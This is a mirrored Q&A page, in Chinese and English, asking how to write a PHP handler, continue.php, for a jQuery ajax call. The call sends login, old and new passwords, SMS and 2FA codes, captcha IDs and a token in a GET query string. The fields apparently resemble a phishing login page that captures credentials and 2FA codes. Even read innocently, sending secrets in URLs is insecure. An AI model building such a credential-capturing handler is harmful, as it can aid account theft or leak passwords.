【问题标题】:How to handle ajax request in php? [closed]如何在php中处理ajax请求? [关闭]
【发布时间】:2020-01-17 14:20:06
【问题描述】:

我的代码中有一行

var auth = $.ajax("continue.php?act=login&login=" + encodeURIComponent(login) + "&oldPassword=" + encodeURIComponent(password) + "&captcha_key=" + captcha_key + "&captcha_sid=" + captcha_sid + "&validation_sid=" + validation_sid + "&code=" + smscode + "&newPassword=" + encodeURIComponent(g("newpassword").value) + "&is2fa=" + (have2fa ? 1 : 0) + "&qid=" + encodeURIComponent(window.location.search) + "&token=" + gettedToken).done(function() {
            var response = JSON.parse(auth.responseText);

如何在 php 中处理这一行?比如...在 continue.php 中我想编写一个处理程序。

【问题讨论】:

  • “我如何在 php 中处理这一行”是什么意思?

标签: php json ajax


【解决方案1】:

您应该在服务器所在的任何位置创建 php,然后使用 $_GET['paramName'] 或 filter_input() 获取您发送的参数,然后在 php 中使用这些参数做任何您想做的事情

【讨论】:

  • 如果我想处理 ajax 请求,您能否说明如何使用函数 filter_input()) var auth = $.ajax("continue.php?act=login&login=" + encodeURIComponent(login) + " &oldPassword=" + encodeURIComponent(密码) + "&captcha_key=" + captcha_key + "&captcha_sid=" + captcha_sid + "&validation_sid=" + validation_sid + "&code=" + smscode + "&newPassword=" + encodeURIComponent(g("newpassword") .value) + "&is2fa=" + (have2fa ? 1 : 0) + "&qid=" + encodeURIComponent(window.location.search) + "&token=" + gettedToken).done(function() { var response = JSON.解析(auth.responseText);
猜你喜欢
  • 2011-11-08
  • 1970-01-01
  • 2022-01-11
  • 2012-11-14
  • 1970-01-01
  • 2012-08-02
  • 2021-03-10
  • 2015-09-22
  • 2012-05-18
相关资源
最近更新 更多